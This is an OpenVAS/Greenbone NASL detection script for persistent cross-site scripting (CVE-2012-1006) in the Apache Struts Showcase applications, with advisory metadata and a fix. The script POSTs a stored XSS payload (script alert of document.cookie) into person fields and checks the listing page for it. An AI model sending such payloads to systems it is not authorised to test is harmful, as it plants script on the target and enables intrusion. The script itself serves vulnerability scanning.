Apache Struts < 2.3.3 Showcase Multiple Persistent XSS Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:struts";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802422");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-1006");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-02-08 12:14:38 +0530 (Wed, 08 Feb 2012)");
  script_name("Apache Struts < 2.3.3 Showcase Multiple Persistent XSS Vulnerabilities");
  script_category(ACT_DESTRUCTIVE_ATTACK); # Stored XSS
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_apache_struts_consolidation.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/struts/http/detected");

  script_xref(name:"URL", value:"https://web.archive.org/web/20131013214245/http://secpod.org/blog/?p=450");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51902");
  script_xref(name:"URL", value:"https://web.archive.org/web/20120430091758/http://secpod.org/advisories/SecPod_Apache_Struts_Multiple_Parsistant_XSS_Vulns.txt");

  script_tag(name:"summary", value:"Apache Struts Showcase is prone to multiple persistent
  cross-site scripting (XSS) vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the
  response.");

  script_tag(name:"insight", value:"Multiple flaws exist due to:

  - Input passed via the 'name' and 'lastName' parameter in
  '/struts2-showcase/person/editPerson.action' is not properly verified before it is
  returned to the user.

  - Input passed via the 'clientName' parameter in '/struts2-rest-showcase/orders'
  action is not properly verified before it is returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation could allow an attacker to
  execute arbitrary HTML code in a user's browser session in the context of a vulnerable
  application.");

  script_tag(name:"affected", value:"Apache Struts 1.3.10, 2.0.14, 2.2.3 and 2.3.1.2 are
  known to be affected.");

  script_tag(name:"solution", value:"Update to version 2.3.3 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = http_get(item:dir + "/showcase.action", port:port);
res = http_keepalive_send_recv(port:port, data:req);
if(!res)
  exit(0);

if(">Showcase</" >< res && ">Struts Showcase<" >< res) {

  postdata = "person.name=%3Cscript%3Ealert%28document.cookie%29%3C%2" +
             "Fscript%3E&person.lastName=%3Cscript%3Ealert%28document" +
             ".cookie%29%3C%2Fscript%3E";

  url = dir + "/person/newPerson.action";
  req = string("POST ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "User-Agent: ", useragent, "\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(postdata), "\r\n",
               "\r\n", postdata);
  res = http_keepalive_send_recv(port:port, data:req);
  if(!res)
    exit(0);

  url = dir + "/person/listPeople.action";
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);

  if(res =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie)</script>" >< res && ">Struts Showcase<" >< res) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
  exit(99);
}

exit(0);